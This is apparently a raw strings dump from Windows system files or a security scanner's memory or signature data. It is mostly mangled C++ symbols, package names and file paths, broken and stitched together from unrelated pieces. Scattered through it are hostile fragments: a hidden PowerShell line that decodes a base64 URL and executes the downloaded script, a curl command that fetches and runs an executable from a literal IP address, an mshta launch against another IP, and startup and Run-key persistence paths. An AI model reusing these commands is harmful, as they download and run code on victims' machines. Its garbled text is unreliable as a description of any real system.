.?AU?$producers_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@V?$tuple@UExpanderToggleButtonAutomationPeer@TaskManagerApp@winrt@@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@3@UIAutomationPeerOverrides@Peers@67893@UIAutomationPeerOverrides2@Peers@67893@UIAutomationPeerOverrides3@Peers@67893@UIAutomationPeerOverrides4@Peers@67893@UIAutomationPeerOverrides5@Peers@67893@UIAutomationPeerOverrides6@Peers@67893@UIAutomationPeerOverrides8@Peers@67893@UIAutomationPeerOverrides9@Peers@67893@@std@@@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc!u
Windows.Explorer
DragFullWindows
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.36
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.37
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.38
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.8
windows.hlp`
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
WindowsHelp
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
+Mozilla/5.0 (Windows NT 6.2; Trident/8.0; XBLWP7; ZuneWP7)
+Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident3
.Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Close Windows Search
9PLGBZWN65RGBigCheeseStudio.CookingSimulatorWindows_j479vfd09vc9jBig Cheese Studio
9N97RC576957FocusHomeInteractiveSA.APlagueTaleRequiem-Windows_4hny5m903y3g0Focus Entertainment
9P9CZK15QN0XCrytekGmbH.HuntShowdown1896WindowsStore_5p3fv022epkx8Crytek
HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error ReportingH
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microsoft.windowssoundrecorder_8wekyb3d8bbwe
Microsoft.Windows.CoreUIComponents
Microsoft.Windows.Wil.FeatureLogging
\microsoft\internet explorer\quick launchtn=leizhenwindows scripting hosttheworld.ini\openhome
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
EnumChildWindows
Microsoft.Windows.MobilityExperience.YourPhone
Microsoft.Windows.Security.Biometrics.Client
Microsoft.Windows.WindowServices
Microsoft.Windows.Networking.WFP.User
Microsoft.Windows.TWinAPI.MaterialProperties
onecoreuap\base\appmodel\windowmanagement\api\adapters\windowstatemachine.cpp
C:\WINDOWS\system32\dwm.exe
Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace
C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p
Microsoft-Windows-Kernel-General
Microsoft-Windows-Kernel-IOindow
Microsoft-Windows-Ntfsct
Microsoft-Windows-Ntfs-UBPM
Microsoft-Windows-PCRPF
Microsoft-Windows-USB-USB4DeviceRouter-EventLogs
Microsoft-Windows-ZTDNS
Microsoft-Windows-ZTHELPER1
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.@LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Microsoft-Windows-Enrollment-WinRT-TCP-Outx
Windows-57008
Windows-57009
Windows-57010
Windows-57011
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
[a-z]:\windows\system32\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup
\system32\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup
[a-z]:\programdata\microsoft\windows\start menu\programs\startup
\microsoft\windows\start menu\programs\startup
116^com.microsoft.windows.extension.shelluihost
117^com.microsoft.windows.extensions.aix.existencecheck
com.microsoft.windows.extensions.aix.existencecheck
118^com.microsoft.windows.extensionpackage
_C:\WINDOWS\system32\loster.exesoftware\micro
\windows\CurrentVersion\Run\Terst
Microsoft.Windows.InputStateManager
Microsoft-Windows-Sysmain-Prefetch
Microsoft.Windows.Input.InputService
Microsoft.Windows.UserMgr.UserModel
Microsoft.Windows.Networking.WlanApi
Microsoft.Windows.Netjoin.Telemetry
c:\windows\xp1
system32\tmipo.bat
clientcore\windows\dwm\udwm\animatedtransitionvisual.cpp
clientcore\windows\dwm\udwm\spritevisual.cpp
[sclientcore\windows\dwm\udwm\resourcehelper.cpp
clientcore\windows\dwm\udwm\image.cpp
clientcore\windows\dwm\udwm\globallightset.cpp
clientcore\windows\dwm\udwm\Resource.h
clientcore\windows\dwm\udwm\micasystembackdropvisual.cpp
?clientcore\windows\dwm\udwm\desktopmanager.cpp
clientcore\windows\dwm\udwm\livepreview.cpp
clientcore\windows\dwm\udwm\clientarea.cpp
<`+clientcore\windows\dwm\udwm\projectedshadowscene.cpp
clientcore\windows\dwm\udwm\windowdata.cpp
clientcore\windows\dwm\udwm\dwritetext.cpp
clientcore\windows\dwm\udwm\projectionbordermanager.cpp
clientcore\windows\dwm\udwm\accent.cpp
clientcore\windows\dwm\udwm\compositor.cpp
Fclientcore\windows\dwm\udwm\displayanimatedvisual.cpp
?clientcore\windows\dwm\udwm\acrylicsheet.cpp
?clientcore\windows\dwm\udwm\animationengine.cpp
clientcore\windows\dwm\udwm\desktopthumbnail.cpp
clientcore\windows\dwm\udwm\projectionbordervisual.cpp
start/bpowershell-executionpolicybypass-windowstylehidden-command"iex(
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
;C:\WINDOWS\Sy
RegisterUsertokenForNoWinlogon
Microsoft.Windows.NetworkInformation
get($url1+'/'+$file1).save_as('c:\windows\temp\mission\
ir%\system32\drivers\etc\
mozilla/4.0 (compatible; msie 5.0; windows 2000) opera 6.03 [en]@
ComSpec=C:\WINDOWS\system32\cmd.exe
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.Fido
Microsoft.Windows.Security.Fido.PluginAuthenticator
Microsoft.Windows.Security.Fido
Microsoft.Windows.Security.Fido
Microsoft.Windows.Security.Fido.PluginAuthenticator
Microsoft.Windows.Security.Fido
.?AUtype@?$abi@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
WindowsCreateSK
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.InputStateManager
Microsoft.Windows.Analog.RawInputProviders
Microsoft.Windows.Analog.RawInputProvidersContinuous
Microsoft.Windows.Input.ButtonDevice
Microsoft.Windows.Input.RawInputProviders
Microsoft.Windows.Cursor.CursorTests
Microsoft.Windows.OneCore.MinInput
Microsoft.Windows.OneCore.MinInputBamo
Microsoft.Windows.Input.Keyboard
Microsoft.Windows.Input.ControllerProcessor
Microsoft.Windows.ProcessLifetimeManager
Microsoft.Windows.CoreApplication
.?AV<lambda_1>@?1??await_suspend@awaitable@?1??resume_foreground@winrt@@YA@AEBUCoreDispatcher@Core@UI@Windows@4@W4CoreDispatcherPriority@6784@@Z@QEBAXU?$coroutine_handle@X@experimental@std@@@Z@
.?AV<lambda_283_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUIInspectable@Foundation@73@@Z@?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P85674@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUIInspectable@234@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_283_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUIInspectable@Foundation@73@@Z@1234@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P86784@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUIInspectable@234@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_283_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUIInspectable@Foundation@73@@Z@1234@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P86784@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUIInspectable@234@@Z@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UDataContextChangedEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_282_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUDataContextChangedEventArgs@5673@@Z@1234@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P86784@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUDataContextChangedEventArgs@Xaml@UI@34@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UDataContextChangedEventArgs@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UDataContextChangedEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_282_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUDataContextChangedEventArgs@5673@@Z@1234@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P86784@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUDataContextChangedEventArgs@Xaml@UI@34@@Z@Z@@impl@winrt@@
.?AV<lambda_282_>@?0???$?0UXamlBindings@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBUFrameworkElement@Xaml@UI@Windows@3@AEBUDataContextChangedEventArgs@5673@@Z@?$TypedEventHandler@UFrameworkElement@Xaml@UI@Windows@winrt@@UDataContextChangedEventArgs@2345@@Foundation@Windows@winrt@@QEAA@PEAUXamlBindings@implementation@TaskManagerApp@4@P85674@EAAXAEBUFrameworkElement@Xaml@UI@34@AEBUDataContextChangedEventArgs@9UI@34@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winrt@@V<lambda_281_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_N@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@_N@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winH
%Microsoft Windows Production PCA 20110
Microsoft Windows0
 Files\WindowsPowerShell\Modules;C:\WIND
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
MICROSOFTWINDOWS.CLIENT.COREAI_CW5N1H2TXYEWY
MICROSOFTWINDOWS.59337133.VOIESS_CW5N1H2TXYEWY
Microsoft.Windows.Console.VirtualTerminal.Parser
MICROSOFTWINDOWS.CLIENT.FILEEXP_CW5N1H2TXYEWY
Microsoft.Windows.ApiTelemetry
{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsSandbox
c:/windows/system32/d
c:/windows/system32/drivers/usbhub.sys
c:/windows/system32/dt
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
OS=Windows_NT
vstruct(Windows.ApplicationModel.PackageVersion;u2;u2;u2;u2)
Microsoft.Windows.Shell.Userenv
api-ms-win-core-windowserrorreporting-l1-1-1.dll
Path=C:\WINDOWS\system32;
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Desktop.Shell.CoreApplication.CoreApplicationView
Microsoft.Windows.ComponentUI
Microsoft.Windows.CoreApplication
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.Shell.TwinApi.ApplicationView
Microsoft.Windows.Shell.CortanaSearch
Microsoft.Windows.Shell.InputDialTrace
Microsoft.Windows.Shell.RadialControllerMenu
Microsoft.Windows.TWinAPI.MaterialProperties
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Desktop.TwinApi.ProjectionManager
Microsoft.Windows.Shell.ProjectionManager.DisplayPickerHelper
Microsoft.Windows.Application.ShareManagerApi
Microsoft.Windows.Application.SharePlatform
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.ApplicationModel.UserActivities
Microsoft.Windows.Shell.TwinApi.ShareWindowCommand
Microsoft.Windows.WindowServices
Microsoft.Windows.RemoteDesktop
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
onecoreuap\windows\dwm\dwmcore\rendering\warprenderingeffect.cpp
onecoreuap\windows\dwm\dwmcore\bitmaps\colorkeybitmaprealization.cpp
onecoreuap\windows\dwm\dwmcore\resources\renderdata.cpp
onecoreuap\windows\dwm\dwmcore\engine\resamplelayer.cpp
onecoreuap\windows\dwm\dwmcore\hw\global\globald3ddevice.cpp
onecoreuap\windows\dwm\dwmcore\rendering\global\computescribblestopwatch.cpp
onecoreuap\windows\dwm\dwmcore\rendering\stockbitmap.cpp
onecoreuap\windows\dwm\common\bitmaps\compressedsourcebitmap.cpp
uonecoreuap\windows\DWM\dwmcore\resources\CachedVisualImage.h
onecoreuap\windows\dwm\dwmcore\hw\global\scribbleswapchain.cpp
onecoreuap\windows\dwm\dwmcore\resources\radialgradientbrush.cpp
%Microsoft Windows Production PCA 20110
Microsoft Windows Publisher0
%Microsoft Windows Production PCA 20110
schtasks/delete/tn"\microsoft\windows\wwansvcdcs
=newthis[activex]("windowsinstaller.installer");
AslEnvGetSystem32DirPathBuf
AslEnvGetSystem32DirPathBuf failed [%x]
Windows.Networking.UX.Internal.DAMediaManager
Windows.Networking.UX.Internal.EthernetMediaManager
Windows.Networking.UX.Internal.MBMediaManager
Windows.Networking.UX.Internal.RasMediaManager
Windows.Networking.UX.Internal.WlanMediaManager
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionclip.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\WrtDrawingSurfaceBase.h
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtvisualislandsite.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiongeometry.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropredirectvisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\WrtAnimationHelper.h
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteroplegacyrendertarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionrectanglegeometry.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcapturecontrollerbase.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionviewbox.cpp
onecoreuap\windows\dwm\d
onecoreuap\windows\dwm\dcomp\winrtnested\WrtSparsePropertyStore.h
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcomponenttransform3d.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionbackdropbrush.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtdropshadow.cpp
Xonecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionconditionalvalue.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionellipsegeometry.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionroundedrectanglegeometry.cpp
Microsoft.Windows.Wil.FeatureLogging
\\WINDOWS11o
\appdata\roaming\microsoft\windows\startmenu\programs\startup\windows.exe
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WINDOWS\system32\config
software\microsoft\windows\currentversion\run
pWindows
(CloudData.WindowsClient.DisableSyncOnActivityFeed
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
Pc:\windows\system32\cmd.exe/cpowershell.exe-wh-epbypass-nop-command"$a='ahr0chm6ly9syxrlbmn5ec5wexrob25hbnl3agvyzs5jb20vzg93bmxvywqvmdnimdlimtnkytlhndexyweyntrlnwyxnwyxm2qzyjeudhh0';$b=[text.encoding]::utf8.getstring([convert]::frombase64string($a));$c=new-objectnet.webclient;iex$c.downloadstring($b)
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
OS=Windows_NT
FocusHomeInteractiveSA.APlagueTaleRequiem-Windows_4hny5m903y3g0!Game1
;y89hgj00.aAzZF().Exec(qibK() + " " + Tpbsd())"p" + aIrF6 + "hell""-WindowStyle Hidden " + aIrF5)
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtdesktopwindowtargetg.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\precomp.hpp
onecoreuap\windows\dwm\dcomp\winrtnested\PropertyValueHelper.h
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioncommitbatch.cpp
onecoreuap\windows\DWM\dwmcore\resources\BackdropVisualImage.h
onecoreuap\windows\dwm\dwmcore\resources\superwetsource.cpp
onecoreuap\windows\DWM\common\shared\SharedCircularQueue.h
onecoreuap\windows\dwm\dwmcore\resources\compositionlight.cpp
onecoreuap\windows\dwm\dwmcore\resources\global\cursorvisual.cpp
onecoreuap\windows\dwm\dwmcore\resources\layervisual.cpp
onecoreuap\windows\dwm\dwmcore\resources\global\globalcompositionsurfaceinfo.cpp
onecoreuap\windows\dwm\dwmcore\resources\datasourcereader.cpp
onecoreuap\windows\dwm\dwmcore\resources\GdiSpriteBitmap.h
onecoreuap\windows\dwm\dwmcore\resources\compositionambientlight.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositiondistantlight.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositionglyphrun.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositionmagnifierbrush.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositionpointlight.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositionspotlight.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositiontextline.cpp
onecoreuap\windows\dwm\dwmcore\resources\delegatedinkcanvas.cpp
onecoreuap\windows\dwm\dwmcore\resources\effectbrush.cpp
onecoreuap\windows\dwm\dwmcore\resources\expression.cpp
onecoreuap\windows\DWM\dwmcore\resources\ExpressionValueStack.h
onecoreuap\windows\dwm\dwmcore\resources\baseexpression.cpp
onecoreuap\windows\dwm\dwmcore\resources\proxygeometry.cpp
onecoreuap\windows\dwm\dwmcore\resources\scenemeshrenderercomponent.cpp
onecoreuap\windows\dwm\dwmcore\resources\spatialsurfacematerialinput.cpp
onecoreuap\windows\dwm\dwmcore\resources\spritevisual.cpp
?onecoreuap\windows\dwm\dwmcore\resources\textvisual.cpp
onecoreuap\windows\dwm\dwmcore\resources\keyframevalue.cpp
onecoreuap\windows\dwm\dwmcore\resources\textvisualcontent.cpp
onecoreuap\windows\dwm\dwmcore\resources\brushrenderinggraphbuilder.cpp
onecoreuap\windows\dwm\dwmcore\resources\compositionenvironmentlight.cpp
onecoreuap\windows\dwm\dwmcore\common\surfacedebug.cpp
onecoreuap\windows\dwm\dwmcore\common\messageconversationhost.cpp
onecoreuap\windows\dwm\dwmcore\cursor\cursormanager.cpp
onecoreuap\windows\dwm\dwmcore\cursor\cursorstate.cpp
ComSpec=C:\WINDOWS\system32\cmd.exe
Windows.SystemToast.CloudExperienceHostLauncherCustom
Windows.SystemToast.DisplaySettings
Windows.SystemToast.FodHelper
Windows.SystemToast.MobilityExperience
Windows.SystemToast.Suggested
Windows.SystemToast.WindowsTip
C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-In-Allow-Intranet-Authenticate^
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-Out-Allow-Intranet-Authenticate
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy-In-Block
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-Out-Block
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-In-Allow-Intranet
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-Out-Allow-Intranet
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Block
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-In-Allow-Intranet
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Allow-Intranet1
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-In-Allow-Intranet-Authenticate
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Allow-Intranet-Authenticate
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Allow-Internet_
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Allow-AllCapabilities
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-In-Allow-ServerCapability
MicrosoftWindows
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
[c:\windows\system32\cmd.exe/kcurl-o%temp%\test.exehttp://213.209.129.155/test.exe&&%temp%\test.exe
Oc:\windows\system32\cmd.exe/cpowershell-windowstylehidden-cset-alias
Oc:\windows\system32\forfiles.exe/pc:\windows\vss/c"powershellstartmshtahttp://92.246.138.48/qqeng
14e^com.microsoft.windows.extensions.xaml
150^com.microsoft.windows.extensionpackage
\Device\HarddiskVolume3\Windows\explorer.exe
windows_ie_ac_001S-1-5-21-3914889805-4071901059-918772286-1001-In-Blockn
windows_ie_ac_001S-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
5d^com.microsoft.windows.extensionpackage
5e^com.microsoft.windows.extensions.voiceaccessplugin
com.microsoft.windows.extensions.voiceaccessplugin
5f^com.microsoft.windows.extensions.xaml.voiceaccessplugin
ComSpec=C:\WINDOWS\system32\cmd.exe
Windows Error Reporting
Windows
Windows NT
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
windir=C:\WINDOWS
Windows
.?AVHResultException@Internal@Windows@@
.P6A?AV?$vector@UJapaneseEraInfo@Calendars@Globalization@Windows@@V?$allocator@UJapaneseEraInfo@Calendars@Globalization@Windows@@@std@@@std@@XZ
\SystemRoot\System32\driT,
Microsoft.WindowsNotepad_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
Y7Checking if key exists HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler.exeChecking if key exists HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler2.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2Checking if key exists HKLM SOFTWARE\Microsoft\Fiddler2!#ALF:Y2V:NCSC/APT_APT29_sorefang_custom_encode_decode
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
ystemRoot\System32\drivers\clipsp.sys
login.windows.net
Microsoft.Windows.Networking.WFP.IPsec
Microsoft.Windows.Storage.Partmgr
Microsoft.Windows.FileSystem.FltMgr
Microsoft.Windows.Storage.Spaceport
Microsoft.Windows.Storage.Storport
Microsoft.Windows.FileSystem.NTFS
Microsoft-Windows-TCPIPUsage
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!DisableAddonLoadTimePerformanceNotifications
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!DisableAddonLoadTimePerformanceNotifications
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!Type
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!RegPoliciesPath
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\ENABLE!ValueName
